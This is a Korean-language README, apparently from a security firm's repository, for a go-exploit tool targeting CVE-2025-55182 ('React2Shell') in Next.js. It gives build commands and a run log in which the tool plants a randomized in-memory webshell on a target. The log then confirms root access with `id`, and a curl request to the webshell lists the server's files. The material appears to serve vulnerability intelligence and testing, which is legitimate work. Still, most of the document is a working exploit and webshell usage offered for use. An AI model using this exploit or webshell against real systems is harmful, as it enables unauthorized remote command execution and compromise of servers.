
VulnCheck CVE-2025-55182 react2shell
이 문서는 CVE-2025-55182 React2Shell 취약점에 대한 VulnCheck Initial Access Intelligence 아티팩트의 소규모 하위 집합을 내보낸 것입니다. 이 아티팩트에 대한 팀의 일부 관찰 내용은 블로그 게시물에서 읽을 수 있습니다.
모든 구성 요소는 당사의 익스플로잇 프레임워크인 go-exploit으로 빌드됩니다. 각 디렉터리에는 관련 아티팩트의 복사본이 포함되어 있습니다.
golangci-lint와 GNU make가 준비된 Go 빌드 환경이 있다면 make를 사용할 수 있습니다:
$ make
gofmt -d -w cve-2025-55182.go
golangci-lint run --fix --timeout 3m cve-2025-55182.go
0 issues.
GOOS=linux GOARCH=amd64 go build -o build/cve-2025-55182_linux-amd64 cve-2025-55182.go
익스플로잇을 도커 이미지로 빌드하려면 간단히 다음을 실행하세요:
make docker
이것은 React2Shell을 사용하여 next.js를 대상으로 하는 인메모리 웹셸 구현입니다. 우리는 이 데모를 여기에서 처음 보았습니다. 웹셸은 각각의 새로운 공격마다 무작위화됩니다.
poptart@grimm $ ./build/cve-2025-55182_linux-amd64 -rhost 172.17.0.1 -rport 3000 -e
time=2025-12-08T15:28:06.892-07:00 level=STATUS msg="Starting target" index=0 host=172.17.0.1 port=3000 ssl=false "ssl auto"=false
time=2025-12-08T15:28:06.892-07:00 level=STATUS msg="Generating webshell payload"
time=2025-12-08T15:28:06.893-07:00 level=STATUS msg="Uploading webshell to target"
time=2025-12-08T15:28:16.902-07:00 level=ERROR msg="HTTP request error: Post \"http://172.17.0.1:3000/\": context deadline exceeded (Client.Timeout exceeded while awaiting headers)"
time=2025-12-08T15:28:16.902-07:00 level=SUCCESS msg="Webshell installed!" location=http://172.17.0.1:3000/UByGoR
time=2025-12-08T15:28:16.902-07:00 level=STATUS msg="Testing `id`" testurl="http://172.17.0.1:3000/UByGoR?z=id"
time=2025-12-08T15:28:16.917-07:00 level=SUCCESS msg="uid=0(root) gid=0(root) groups=0(root)\n"
time=2025-12-08T15:28:16.917-07:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
poptart@grimm $ curl http://172.17.0.1:3000/UByGoR?z=ls%20-l
total 72
-rw-r--r-- 1 root root 77 Dec 4 23:41 jsconfig.json
-rw-r--r-- 1 root root 92 Dec 4 23:41 next.config.mjs
drwxr-xr-x 172 root root 173 Dec 4 23:41 node_modules
-rw-r--r-- 1 root root 16384 Dec 4 23:41 notes.db
-rw-r--r-- 1 root root 123663 Dec 4 23:41 package-lock.json
-rw-r--r-- 1 root root 467 Dec 4 23:41 package.json
-rw-r--r-- 1 root root 6028 Dec 4 23:41 seed.sql
drwxr-xr-x 3 root root 3 Dec 4 23:41 src